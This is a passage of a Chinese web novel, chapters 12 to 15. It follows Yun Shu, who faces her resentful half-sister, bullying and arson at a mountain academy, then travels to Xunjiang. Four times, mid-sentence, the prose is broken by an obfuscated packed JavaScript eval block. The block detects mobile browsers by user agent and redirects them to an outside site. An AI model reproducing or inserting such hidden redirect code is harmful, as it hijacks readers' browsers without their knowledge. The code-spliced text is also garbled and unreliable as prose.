他盯着女郎的手,上面空荡荡的,没有任何薄茧,修长冷白,突然好看得很。 如今热了起来,女郎只穿着薄衫,靠近了还能看到女郎露出手臂上的青筋。 “不用。” 讯蓝看着桌子上的碎镯和如意结,出声询问,“可都要扔了?” 他盯着那如意结,显然是男子所送。 女郎可又是看上哪家的男人吗? 云竖看着铜镜里的自己,确认之后看向那两个东西。 她伸手取过那如意结,细看那模样,“找个地方挂起来吧。镯子就收起来,不用扔了。” 讯蓝应下来,接过那如意结。 屋内只有她一人。 她起身走到书架处,下意识取出那本经常翻的书,抬手扯出里面夹着的那张小像。 她没有打开,又放了回去。 门口来了人,“女郎,家主唤你过去。” 此刻外面太阳高高悬挂,待在外面的侍从时不时抬手擦拭额间的细汗。 云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319753|167425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竖前往前厅,还没走几步,就碰见了云栾。 “姐姐为何去了那么久?” 云竖没像之前那样出口就是讽刺人,但也不怎么说话,态度也不怎么好,看上去更敷衍了。 云竖:“没为什么。” 云栾:“姐姐还打算去吗?” 云竖:“还去。” 云栾:“姐姐去那做什么?” 云竖没理她,一直看着前面的路。 她比云栾还要高上一点,骨架也偏大一点。云栾像是没吸收好营养,比她矮了半个头。 到了前厅。 一直在说话的云栾安静下来,云竖走到云母跟前,浑然不是刚刚来时的那个态度,反而恭顺带着乖巧。 “母亲。” 云栾盯着那个挺直的背影,几乎遮住了自己的视线,也遮住了母亲看向自己的视线。 她被很好的遮挡住身影。 云栾目光幽幽地,面上沉寂。 “怎么还舍得回来了?”云母坐在为首的位置处,也没像头一次那般朝她扔茶杯。 “我明日早上就走。”云竖冷不丁地开口。 “你是不想回来了?”云母冷笑着,声音沉下来。 “我已经向夫子说明,明日一早就回去。”她陈述道,“我还有课要上。” “之前是我过于闹腾,现下只想好好学习。”云竖垂眸,声音清润。 她没有再继续适应原身的那个语气,毕竟学得再像也会出问题。 如今她出去了一个月,回来也可以随意捏造些理由。 被书气和同窗打磨了脾性,知道人外有人,知道一些该知道的道理。 但目前看来,云母云父不像是主动会询问的样子。 云母只盯着她,没有说话。 过了好一会儿,她才出声让她坐下来。 云栾坐在云竖旁边,显然有些不可思议。 她猜疑地盯着云竖,时不时地冒出一两句刺她,可得到的结果却是忽视。 云竖这个蠢货怎么了?难不成真开窍了不成?她不是云竖,云竖怎么可能会变成这样?云竖就该是野猪一般,易怒愚蠢,怎么会变成这副模样? 云栾紧紧抿唇,眼底带着不甘心,又带着嫉恨。 离开前厅后,云栾跟在她身后。 见云竖突然停下来,停在了湖泊旁边。 她的目光被湖泊吸引,罕见地恍惚了一下,想到了旁处。 听说云竖之前就跳进了这个湖里,就为了救一个贱人,被救起来躺在床上半个月。 “你跟在我旁边做什么?” 云栾抿唇,垂下来的手不自觉地紧握着,忍住想推她进湖的冲动,语气带着乖巧,“好久不见姐姐,甚是想念。” 是不是推进去,就会变成之前那副蠢样子? 她想着,眼底带着恶意,直晃晃地盯着云竖。 想念?云竖嗤笑了一下,抬脚离开。 云栾跟过去,出口喊住她,阴测测地询问,“姐姐是想就此翻篇吗?假装自己没做过那些蠢事,假装自己可以重头再来?装成这副样子,母亲相信,可除了能骗骗母亲,你还能做什么?” 走在前面的云竖侧身转过去,“关你什么事?” 12. 第 12 章 “你跟我说这些有什么用?你觉得我会对你道歉吗?”她不轻不淡地问道,垂眸盯着眼前像是要发疯的人。 云栾弯了眼睛,可却费力地想要睁大,带着愤怒,一字一句都带着勉强和无力,“你这种人怎么可能会道歉呢?” 她慢慢走近云竖,呼吸极重,双目猩红,缓慢地抬手。 云竖没有后退,反而好奇她到底想干嘛? 抬手攥住她的手臂,然后呢?发泄不满和怨恨?还是想推她进湖里? 若是之前那瘦弱的身体,说不准就被推下去了。 可眼前比自己小的人,而她也足够相信自己不会被推下去。 她好奇地盯着,盯着云栾还会做什么?一个不过堪堪16岁的人。 “你想推我下去?”她问道。 云竖主动抬手握住她的手臂,不让她再往前。 云父的侍从看到,连忙跑了过来,作势就要把云栾推开。 云竖制止住侍从的行为,“你想要什么?” 想要你死。 她停下脚步,又恢复成原本无辜的模样,“姐姐这是在说什么?我怎么会想推你下去呢?” 云竖突然笑了笑,目光却冷了下来,“既然不想要什么,就离我远点,我可不想看见你。” 她说完,便转身离开。旁边的侍从看了一眼站在那冷着脸的云栾,微微蹙眉,不知道要不要告诉掌侍。 之前栾女郎不是挺尊重女郎的吗?听别的院子里人说,侍夫整日都对栾女郎说要敬爱姐姐,要把女郎当成亲姐姐。 可侍夫的话又不是错的,那侍夫是主君带来的,除了这样还能怎么样呢? 按理说,若不是主君仁慈宽厚,栾女郎两岁时就得离开侍夫。 只不过是被女郎欺负一下而已,又不是长长久久的欺负。 女郎现在不就怎么搭理栾女郎了吗? 临近夜里。 她突然站在门口,门口的那几个人并没有注意到女郎突然出来。 一个月让他们的警惕下降,他们低声讨论着,甚至专注。 她听了一点,是云栾被侍夫打的事情,还让她跪在了院子里。 云竖显然有些惊讶。 她只知道原身经常欺负云栾,等年纪大了一点,这种行为就开始慢慢减少。 如何欺负如何刻薄如何谩骂,她只能去猜。 “女郎。” 其中一个人蓦然回头,就看见不知道什么时候站在门口的女郎,顿时吓得腿都要软了,声音脱口而出。 …… “你没派人去打听她是什么个身份吗?既然山长愿意收礼,她不是什么好苗子,她家里呢?”苏洄身子倾向褚绫,慢悠悠地说道。 夫子一走,屋子里的其他人都抬头松了松筋骨,听到苏洄的话,脸上也没什么反应。 科考可不怎么看什么身份。 褚绫听了,嗤笑了一声,“我可没有听说过哪个大族是云姓,也没有在哪里听说过云竖这个名字,想是哪里得了山长的眼,昭鹤好好的学宫不去,偏生拉着我来这里,可惜山长的好学生当不成,反倒还要受一个不知道从哪里冒出来的人的气。” 坐在最前方的昭鹤面无表情地看向褚绫,冷不丁道,“你可以现在就走。” “我待在这可挺自在的,你要想走我可不跟着。”褚绫将扇子遮住自己的下半张脸,轻轻扇了扇。 “听别人说,你昨日还被人推在地上,真是荒唐,从前怎么不见你有这般好脾气,要不然等云竖回来,我帮你教训教训她?”苏洄好心说道。 昭鹤未言,被衣袖遮挡住一半的手微微蜷缩,似乎开始猜想那个人被欺负后会离开吗? 她看上去很年轻,很沉默,言语也很简单。 昭鹤不自觉深吸了一口气,外面树叶的清香扑面而来,双眸变得炯炯有神。 “好啊,如果她愿意离开,我帮你解决游论的问题。”她语气轻缓,也不在意有人听到。 游论是每个人都要写完的政论,再一年后上交,也就是秋闱前的两个月前,以各种形式记录了游学经历,包括对沿途地理环境、历史古迹、社会风俗等方面,也可以涉及经济、政治、文化等诸多方面的政论。 若完成的好,这种方式无异于让自己有机会扣上官场的大门。 旁边的几个人听到她们三人的话,低下头,用手遮住了自己的半张脸,倚靠着翻书。 谁会去得罪该死的世族? 几人等待着云竖的回来。 昭鹤坐了一会儿,像是没了耐心起身拿着书离开。 苏洄还在发呆,见她走有些没力气说道,“你干嘛走?不是你要看吗?” 走到门口的她侧身微微敛眸,背景挺直,神情沉静,“重点是这个吗?你要让她离开。” 午后。 云竖乘坐马车来了璇山的山脚下。 她背了一个包袱,里面是专门派人买的笔墨。 她对毛笔书写并不擅长。 她抬头盯着眼前进山的路口,里面郁郁葱葱,嫩叶被风吹得轻飘飘地,还夹带着无数带点红晕的白花。 她要在这里学习一年,甚至更久。 今天天气很好,与此相对地,空气也越发燥热。 云竖只穿着绯色窄袖的薄衫,头发被发带束住了一半,剩下的发丝被风吹得有些凌乱。 对比第一次来这里,云竖的神情显然是轻松的,浅色的眼眸内如秋水剪成的眼珠,莹润温和,带着一丝朝气和年轻。 而不是沉郁阴冷,带着挫败和冷漠。 薄衫把她手臂上的肌肉和腰处的宽度很好的收拢,手腕处的肌肤被遮挡严严实实,只能看到脖颈处的一抹白。 身姿气度宛若通体纯白的玉瓶,朗目疏眉。 马车渐渐走远,云竖上了山。 她没有去学堂,而是回了自己的屋子。 她穿过长廊,路过绿竹林,竹叶飒飒作响,高而徐引。 还没有到自己的住处,她被前面两个人拦住。 竹林旁边站着两人,一个褚绫,一个不认识。 她没有管她们,直接越过,连脚步都没有停顿一下。 其中一个人慢悠悠说道,“你是云竖?你也不想家中突然遭逢故变吧。” 她顿了顿身子,“你想说什么?” “离开这。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319754|167425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “可这里并不是你的一言堂,我为何听你的?什么时候王法成了虚拟,你要以权谋私不成?”她站直身子,眉目很快冷了下来。 没把人吓住,苏洄沉默了一下,不动声色挤了挤褚绫。 “你不要质疑我们的能力。”褚绫说道。 云竖走过去,在褚绫的三步之外停下来,“若我不离开呢?” 褚绫突然笑了笑,“那我便打得你滚出去,再让你后悔莫及。” 云竖顿了一下,目光停留在她的眼睛上,觉得这个人实在让人生气烦躁,跟昭鹤一般。 她没有预兆地抬手往人的脸上狠狠打了一拳,随后很快往山长的住处过去。 一声失了仪态的谩骂从空中出现,随之伴随闷响。 褚绫被打得后退一步,甚至跌在地上,眼眶附近很快浮现青淤,不断地嘶叫着,直骂着要叫云竖有好果子吃。 旁边的苏洄见云竖动了动,没有顾及地上的好友往后面后退了一步,生怕她也把自己打了。 文人怎么可能如此粗俗。 见人离开,她低头看着地上的人,犹豫地蹲下,“完蛋了,她往山长的方向过去了。” “那又怎么样?山长是她母亲不成?”褚绫疼得面目扭曲,没了刚刚不可一世的模样。 苏洄用扇子轻轻敲了敲褚绫的手臂,见她还没有缓过来,咽了咽口水,“还好吗?” “她竟然敢打我?”在地上的她怒气冲天,带着恶意,洁白的袖子也沾染了黑点。 苏洄还没有反应过来,不断想着刚刚的人怎么会做出这种粗俗的行为。 按理说,不过是吓唬一下,动嘴不动手,后面的流程也该是为了家族假意交好,被欺负,随后离开。 苏洄心里暗骂着,直骂云竖是个粗人胆小鬼。 翌日。 夫子直言要进行经略考核。 众人惊呼。 其中死记硬背的人更是紧紧皱眉,拿着刚从夫子手里拿来的毫无亮点的策论。 她看向坐在旁边安静的云竖,抬起下巴想要看到夫子会给她什么评价。 书院里的人并非人人有才,不乏死记硬背的人,他处小地虽资质上好,可到了这里却是平平之辈。 这里不缺有地位有权的人,各个独门独院,像她们这种寒门子弟更是没有出言的权力,夫子也不会记住她们的名字。 她想着,有些恍惚,听说昨日云竖打了褚绫一拳,褚绫没有请假,直接逃课不来。 连策论也还在夫子手里拿着。 她忍不住出口,低声问道,“你不怕吗?” 云竖歪头,意识到她在跟自己说话,随即摇了摇头,“不怕。” 昨日她问了外祖母,她说无事,这种事情也可时常发生。 她说自己教了那么多学生不是摆设。 不怕? “你的策论怎么样?夫子怎么说?”她又继续问,随后又忍不住想起夫子说她言语空洞繁琐,泛泛而谈,不知其根本,可她去哪里了解呢? 云竖看了看自己的策论,“夫子没怎么说,只是让我多练练字。” 练字? 难道是太差了? 13. 第 13 章 等到了午后,屋舍已经没太有人。 今天很安静。 安静得让云竖有些心虚。 她照常根据往日的时辰离开,抱着书,里面还夹着刚刚练过的小字。 屋檐下挂着的流苏被风吹得有些乱,连带着延连在一块的纱幔。 她的策论没有带走,就放在抽屉里。 小道上,云竖踩在青石板上,左右两侧是几百年的老树。 前方是藏书馆,左手边是碑林,供人参考和模仿。 她驾轻熟路地朝左手边走,用书作板,模仿着碑林上的字,甚至抬手去触碰上面的笔画。 这里很干净,没有任何灰尘,时常有人来这里。 这个时候大部分已经午休,或者待在屋舍看书。 大抵在这待了一个时辰,练的纸张被折叠夹在一处,云竖原路返回。 刚刚练完字的云竖显然没有意识到眼前的几人是什么意思,甚至脑子还卡壳了一下。 即使来书院没多久,她也几乎把书院的大抵情况摸清楚。 眼前的几人是书院里的纨绔,时常仗着家世欺负人。 云竖询问,“为何拦我?” 那四人不语,可神态却早已表明了意思。 一炷香后,云竖转了转有些发烫的手腕,抱着书缓步离开。 那四人灰溜溜地离开,四处张望。 下午。 学堂内。 夫子将卷子收起来放在一侧,看着云竖发红的手,微微蹙眉,“手怎么了?” “不小心伤着了。”她回道。 夫子并不是不知道学堂发生的事情。 昭鹤有意刁难云竖,是山长允许。 可这刁难过头,动起手脚,就是她的过错,怎么敢让山长出头呢? 夫子环顾四周,走到讲台上,抽出了褚绫和苏洄的卷子。 她看着上面的答案,竟直接开头念了出来,并把两人点起来,叫人一一回答,为何如此。 见苏洄唯唯弱弱,显然没有用心熟记,夫子手上拿着戒尺,拍打了五下。 见褚绫语气较冲,夫子又罚她抄书五遍。 坐着的人不知道夫子是为何。 可挑出这两人,屋舍里的几人悄悄地看向坐在边缘的云竖,很快想到了山长。 夫子出声安静,没有再继续抽卷子,而是让人翻书开始讲义。 云竖抬眸,便见着那两人回头看向自己,双目冒火,怒得坐不下去。 她思索着,思索着该如何结束这种莫名其妙的闹剧。 云竖完全没有心思跟她们玩这种你来我往的游戏,甚至不想跟她们有一点纠葛。 世家大族的游戏,云竖根本不想参与。 夜里。 屋舍走水。 云竖的住处被点燃。 还在看书的她下意识地抽出那本书匆匆走出屋内,回头看着不知道从哪里冒出来的火,几乎将半个屋舍吞咽。 她一转身就见着一只狼狗在那里吠叫,甚至朝她跑过来。 云竖深吸一口气,几乎气笑了。 甚至觉得褚绫疯了。 火光的出现和猛烈让跑过来的狗停止了脚,见云竖不怕它,象征性地朝云竖吼着,随后夹着尾巴不知道朝哪里跑走。 “子漾,你没事吧。” 山长只披着外袍在门口出现,见云竖还呆站在那,进来连忙把人拉走。 “怎么走水了?” 已经有人开始去灭火,不过一会儿就已经被控制下来。 云竖回头看着黑烟弥漫的屋舍,“应该是被人点起来的。” 不知道哪个家伙偷偷摸摸跑进来从几个墙角开始点起来,甚至还放了易燃的干草。 山长蹙眉,“真是荒唐。” 夜里乌黑,只有一轮弯月悬在空中,附近弥漫着朦胧的白光。 云竖盯着那渐渐消失的红色火光,狭长的眼眸直勾勾地。 云竖只能先去外祖母那暂住几日。 翌日。 山长大怒,让人找出放火的人,并要严惩。 几日后,云竖拒绝了去山长那暂住的询问,而是搬去了学生屋舍。 云竖同孟昂一个屋舍。 学生屋舍并非乏味安静,甚至偷摸地聚众在一块喝酒赌博。 其中世族子弟更是翘楚,无人敢举报。 得知消息的云竖寻了过去,在门口站着,就看见里面喝醉的苏洄,和趴在旁边睡觉的狗,面无表情地转身去找掌事,直接把人给举报,甚至添油加醋。 孟昂茫然地看着她的行为,见掌事带人过去,连忙拦住要跟过去的云竖。 “回屋啊,这跟我们可没关系。” 云竖紧抿着唇,抬脚转弯进了屋。 不过几日,放火的人被抓住,苏洄和褚绫被重罚跪祠堂。 半个月后。 肉眼可见地消停了许多。 苏洄让人去查了云竖的家室,查着查着就发现山长和云竖的关系。 她铁青着脸,觉得自己完蛋了。 谁会想得罪山长呢? 她将查来的消息告诉昭鹤,情绪激动,甚至开始谩骂,“你个外人跟她比什么比,你是不是有病。不知道还以为你是山长的外孙女呢。” 昭鹤抬起头,眼眸内没有出现惊讶,只是紧抿着唇,没有说话。 “你早就知道了?”苏洄眯着眼。 “一个纨绔而已,简直荒唐。”昭鹤面无表情道。 苏洄:“……” 她盯着昭鹤,又看了看外面,“你之前说的那事,还有吗?” “你又没有把她赶出去,还有什么?”她冷笑道。 苏洄:“……” 现在谁还把她赶出去?还不如把自己赶出去来得现实。 一日。 云竖发现不再学堂上课,而是让人观摩。 旁边的学子都莫名地有些沉默,不像之前上课前讨论问题。 随着她们被领进了屋子内,里面摆放着欢喜佛。 云竖显然愣住,茫然地四处望了望,发现都是这个。 性教育吗? 旁边的人嘀咕着,“怎么还上啊?之前是讲义,现在还来参观了。” 其中几人脸红得厉害,不敢乱看,只盯着人的后背。 突然有人抬手拍了拍云竖的肩膀,是孟昂。 “听说你有二十二房侍夫,是真的吗?”孟昂压低声音,听着有些羡慕。 “那男子的腰软不软,细不细?”孟昂把人拉到角落里,旁边就是欢喜佛,主三只眼,戴五头骨冠,腰围虎皮,怀中拥抱中着男子,立于莲花座之上。 而男子一腿盘在其腰间,一腿伸直。 云竖沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319755|167425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默了一下,腰细是真的,可软不软她怎么知道。 她又没有原身的记忆,也不知道自己睡过哪些男人。 她含糊地说着,“已经没了。” 她不经意看见旁边的欢喜佛,像是被烫着了一下很快收回目光,耳尖很快泛红了起来。 虽说只是盘腿拥抱,粗粗一看没什么,可联想起来总是有些露骨。 孟昂没问为什么,只是打量她,“我们之前是不是见过?在那个衣庄那?” “可能吧。” 孟昂伸手碰了碰她的手臂,又碰了碰她腰间的玉佩,“上次看到你,可真是金贵,珠光宝气的。” 可眼前的人衣着素净,唯一的配饰只有腰间的白玉,碎发遮住了略微凌厉的眉眼,跟上次完全不同,活像是变了一个人一样。 云竖觉得她这样的动作有些奇怪,尤其是在这种地方。 她推开孟昂的手,“别说这些了。” 不远处的昭鹤盯着那边,眉眼不自觉地皱起,面露恶心,嘴角下拉到极致。 “你在看什么?”苏洄过来,有些惊疑,“那云竖还喜女色不成?怎么和孟昂勾搭在一块了?” 这种情况也不是没有,她也不是没有见过,随意说了几句,又开始烦躁起来。 苏洄有些待不下去,“什么时候才可以出去?” “这些要考核,你急着出去难道想不及格吗?”昭鹤冷冷说道。 “这些要考那么好做什么?”苏洄觉得不可思议。 在这里求学,哪里会有机会去触碰男子。 若即便要去碰,也得成婚之后。 昭鹤处处要争第一,可她不想啊,作业也是抄褚绫的作业。 等孟昂走远,云竖松了一口气。 她目光放在另外一尊欢喜佛上,两人盘腿拥抱,两头相抵,其中一个闭眼低头。 云竖怔怔地看着,还没几息的时间很快收回目光,脸庞绯红,浑身发热,出了细汗。 她喉结滚动了几下,敛眸避开,可看哪里,哪里都是,形式不一,动作不同。 屋门被打开,一些人陆陆续续出去,云竖脚步加快跟在了她们后面。 昭鹤走在最后面,褚绫跟在旁边,苏洄是第一个出去的。 “之前还说自己对这些很熟,跑这么快做什么?”褚绫嗤笑着。 昭鹤脸上没有什么变化,也不说什么。 夜里。 蜡烛被点燃。 云竖虽然与孟昂共住一个小院子可住处却隔得很远。 她把窗户关上,又吹灭了大部分的蜡烛。 她只穿着里衣,披散头发,领口也微微敞开。 帷幔被放下了一半,她坐在床上,原本已经忘记大半的情形慢慢出现在脑海里,不知道为什么,越来越深,甚至开始思考。 她恍惚了一下,想着睡着了就不会再想这些杂七杂八的事情。 一日的疲惫很快把她拉进了睡梦里。 晕晕沉沉地,像是周身被环绕很浓的软香。 梦里,轻纱无风自动,带着微微晃动,婀娜摇曳,明亮的光线让屋内遮不住一点阴暗。 雪色的肌肤被红色浸染,漂亮的眼睛雾蒙蒙的,涣散聚不到光,浑身媚意,像个蛊惑人心的妖精。 清透端丽的脸庞一如既往的美丽,像是私藏在屋内的发散着莹润光芒的青玉。 14. 第 14 章 她有些恍惚,脑子里昏昏沉沉的。 眼前的男人面容模模糊糊地,看不真切,像是白瓷做的人一般。 他是谁?为什么穿着这种衣裳?明明她没有见过。 她忍不住伸手触碰他,滑腻的肌肤很快从掌下离开。 很快地,那人扑进自己的怀里带着浓烈的软香,她几乎不敢抱紧弄疼他。 他勾着她的脖颈,红润饱满的唇擦过她的脖颈,带着清浅的呼吸,攀上她的脸。 不知道的,他身上的衣裳何时少了,只穿着轻薄的纱衣,羞涩地被压在身下,眼睛被打湿得厉害。 细细的哭泣声慢慢出现,他的身体正在发抖,腰身越发软。 她想着,为什么要哭呢?为什么他会如此柔软,像春水一般,细细的哭声让人越发心痒,宛若游丝密密麻麻地钻进心脏里,呼吸不了,清醒不了。 云竖没有做什么,只是拥抱着怀中的人。 云竖是被推醒的。 她睁开眼睛看着上方探过来的人,瞳孔缩了一下。 “你怎么还在睡?快迟到了,夫子会罚你抄书的。” 打骂是一时的,抄书却是整天整晚不停歇。 孟昂推着她,把她拉起来,又把她挂在屏风上的衣裳丢给她,“快起来。” 云竖还没反应过来,人也有些呆呆的。 “还发什么愣?” 到学堂时,云竖只比夫子早一步。 她的头发有些凌乱,到学堂时甚至披散在了身前,衣裳也不如以往一丝不苟,眉眼也恹恹的。 一些人抬头看了过去,想着云竖虽然写字不行,言论保守,但是那张脸却是实打实的好看,半分不掺假。 她们看向后面跟来的夫子,不约而同地低下头来,又觉得还是才华来的实在。 夫子见她走到座位上,也没说什么,只是让她们把书本拿出来,让她们诵读一遍。 昭鹤偏头看了那一眼,又收回目光,垂眸看书。 …… 转眼半年后,寒冬将至。 书院里的几人都不选择回去,而是去游学。 山长没有收任何学生,昭鹤愤愤之下回了京都。 云竖没有回去,而是打算去鲟江。 听说那里四季如春,都城繁华,诗人辈出,楼阁林立。 像棉花的雪簌簌地下着,地面很快被铺平,青绿的竹子被白雪覆盖,偶尔弯下来,很快又挺立回去。 “你怎么还不回去?”孟昂问道。 “想先去鲟江一趟,再回家也不迟。” 即使外面白亮,屋内却昏暗没有光线,潮乎乎地。 她的眼底带着说不清的朦胧,恹恹地,偏偏浅色的眼眸犹如碧绿的精髓,光泽的露珠,温润柔和。 她背脊挺直,眉眼恭顺,姿容仪态越发挺拔峻峭,深得山长所传。 “怎么,去鲟江觅佳人不成?”她摇晃了手上的温酒,“听说那里有上好的妍皮美酒,一个个似牡丹。说起来,我还没去过那。” 云竖绕过她,推开窗户,雪粒瞬间被风飘了进来,拨弄开肩膀和手臂上的雪,枝叶的香气渗透衣衫。 “是吗?那更应该去看看了。”她闻言回道。 孟昂迟疑了一下,似乎也有些心动,凑过去问,“我也去,可行?” 见外面风雪实在太大,云竖打消了透气的想法,又关上窗户。 “也行。我应该是明日就走,需要我推后几天吗?”她闻着屋内有些消散的熏香,又指了指软榻上整理好的包袱,侧身问孟昂。 “不用,缺什么到那再买就是。”孟昂看着桌子上的点心,“这又是你家侍夫送来的?” 云竖听到侍夫,罕见地停止思考,“什么侍夫?我没有侍夫。” “那应该是我听错了。” 云竖想了想,突然冒出来的侍夫又觉得并非不可能。 “果然离家近就是好,山长给你送东西,家里侍从也心心念念。”她的话酸溜溜的,又仰头饮了一口温酒。 “你快回去收拾吧。” 她像是没听到孟昂的话,催促道。 …… 璇山到鲟江,坐船需要三日。 山上几乎被雪覆盖,山路上的雪被人扫去,一眼望过去,只能看到白色的山林,枯枝也高高印在空中,时不时抖弱下来雪点。 两人下了山。 四周都透着静谧,没有任何嘈杂的低语,踩在潮湿的土地上也能听到清脆的枝丫的折断声。 随着船只的前行,湖面上的波纹逐渐荡漾开,错乱纷飞的雪让她们的视线有些恍惚无法聚齐。 “去鲟江待几日?” 云竖不知道,随意猜测着,给出了一个时间,“可能半个月吧。” “半个月?”孟昂陷入了沉思,眼中有些空洞,像是在发呆。 云竖没有打扰她,而是眺望远处。 湖面上的风不如雪柔和轻盈,像是割人的利器,吹得面容发红。 露在外面的手不需半刻就会如同冰块一般。 “听说鲟江是个快活都,有胡人,有走商,也有歌舞,什么都有,连达官显贵都聚在一块。”说到这里,她顿了顿,呼吸也有些急促,说话也带着雾气,“很多人都会选择来这里,不少人得此青云直上。” “鲟江有个南山别馆,那里诗词云集,有很多人。”孟昂意味深长道。 孟昂是排斥男色的,因为她认为自己已然过了这种年纪,不应该被这种裹挟。 鲟江是众人公认的销金窟,穷奢极侈,她自然不会选择去那里。 自认清贵的女君全然是以诗词文章而美名远扬。 云竖也没应和她,“快到了。” 船晃了晃,接着停泊在岸边。 两人赶往来了江边,很快上了大船。 很热闹,四周都透着年前的喜庆,孩子的欢呼声,以及长辈的叮嘱和追逐。 脚工将东西搬运到船上,都低头做着自己的事情。 云竖和孟昂显然对这种有些懵,她们两个避过那些小孩,和正在叙旧的人,背着很薄的包袱上了船板。 粗粗一瞧过去,就知道是哪个书院里跑出来的学子,衣着带着书卷气,不接地气,像新造出来的人一样。 她们两个先找到了住处,把包袱放下来,休整了一下,这才出来透气。 这时候船已经远离岸边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319756|167425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,船板上的人陆陆续续离开回了住处,只有几人还在逗留。 船上的三天显然是极为无聊的。 第一天,孟昂还耐心地跟云竖下了一天的围棋,后两天直接倒头睡了过去,连房间也没踏出去几次。 云竖在屋内练了两天的字。 船终于停靠,孟昂伸展了一下身体,甚至用力摆了摆有些没劲的手臂。 “走走走,先去吃顿饭,这三天真是太寡淡了。” 下船后,两人还来不及去寻哪处热闹,便急匆匆地寻了一个酒楼。 只是这个酒楼格外的热闹,打下手的人也格外殷勤。 孟昂看了一眼四周,中间是一个圆形堆高的展台,已经有几人端坐在那吹箫弹琴。 她们在第一层,自然看中间圆形展台更清晰。 两人等着,只能先把注意力放在展台上,有一搭没一搭地轻轻敲着桌面,也没有旁人莫名的兴奋,反而恹恹地。 很快地,两人吃饱喝足。 她们没有选择离开,因为有人朝展台搬上了有些高的鼓。 鼓上佳人舞。 一个带着面纱的男人被人扶了上去。 他穿着深红的衣裳,衣玦拖地,纱幔一层又一层,柔软的腰肢跟羽毛一样,十分轻盈。 一炷香后,他显然想下来,却无人上前去帮他。 他被迫站在高处,悬悬欲坠,手足无措,惶恐不安,眼尾都莹润殷红。 接着,他乞求地盯着旁边的女郎,目光戚戚,可偏偏露出的肌肤白净滑腻,素净的发髻也只有一根簪子固定,长长的耳坠打着他的脸。 像芍药。 很快地,他如愿被扶下来,顺势跌入她的怀里,发髻也散乱下来。 他脚环的铃铛错乱地响着,没有穿鞋的脚很快被衣摆遮掩,腰间被女人的手臂禁锢住,浓郁的花香扑在孟昂身边。 “瞧瞧,又是第几个人被他这样勾搭上了。真是贱蹄子。” 二楼的几个男人看着明铛故作姿态,低语着,透着轻视和鄙夷。 “你没事吧。” 声音从头顶上落下来,那人很快松了手,周身的梅香几乎要攥紧他的心脏。 明铛怔怔地盯着她,同时呼吸得又很急促。他勉强地笑着,一边轻轻推开她,手上一圈一圈缠绕的薄纱从她的手臂慢慢挪移。 他退了下去。 孟昂走回去,埋怨道,“你干嘛推我过去?” “这么多人看着,那个侍子又不是下不来。” 云竖摆了摆手,惊疑道,“我没有推你上去,刚刚我站在你的左手边,怎么可能推你。” 孟昂:“……” “先找个住处吧。”云竖接着说道。 “该走了。” 孟昂虽然有些稀奇,也没再问什么,跟在云竖身后出去。 外面有些昏暗了。 两人都没有想继续逛下去的想法。 “你喜欢刚刚那个男子,我刚刚看你眼睛都直了。”孟昂突然说道。 云竖突然笑了笑,“只是觉得跳得很厉害,擅舞灵动,淡浓多态,突然想到了一个人而已。” “你不是也很喜欢吗?” 15. 第 15 章 “没,我只是想知道他的腰有多细。” 孟昂小声道。 街道上很热闹,像是要燃尽最后的精力,哪里都透着不知名的活力。 所见的建筑宛若画像里勾画的一般,精致华丽。 云竖时不时要被人挤一下,还要给马车让路。 她打量着四周的人和商铺,听到珠子的人清脆声,抬头望过去,就见着马车上的人——他端坐在那,垂眸温顺,身着紫衣。 不过一晃的时间,马车从眼前经过,只能看见车轮。 旁边的孟昂紧紧攥着手心的玉佩,玉佩险些被人顺走。 她催促着云竖赶快离开,实在受不住那些掺杂奇怪的熏香。 她拒绝所有主动来询问的人,拉着云竖就离开。 “明天再看也不迟,我们可以去南山别馆看看,说不定我们两个提上几首诗也能闻名远扬。” 高质量诗词的传播度是极为高的,不过三天就能南北方都知晓。 她指着那些角落里显然爱答不理的画师,旁人去询问也不抬头。 “我们就不要学习那些人,否则哪里还有出路。” 回到客栈后,孟昂几乎萎靡,直接倒在床上不愿意起来。 云竖给她关上门,回了自己的屋舍。 这时候,屋门被敲响,云竖的目光投过去,有些疑惑。 她打开门,便见着那人递来一张请帖。 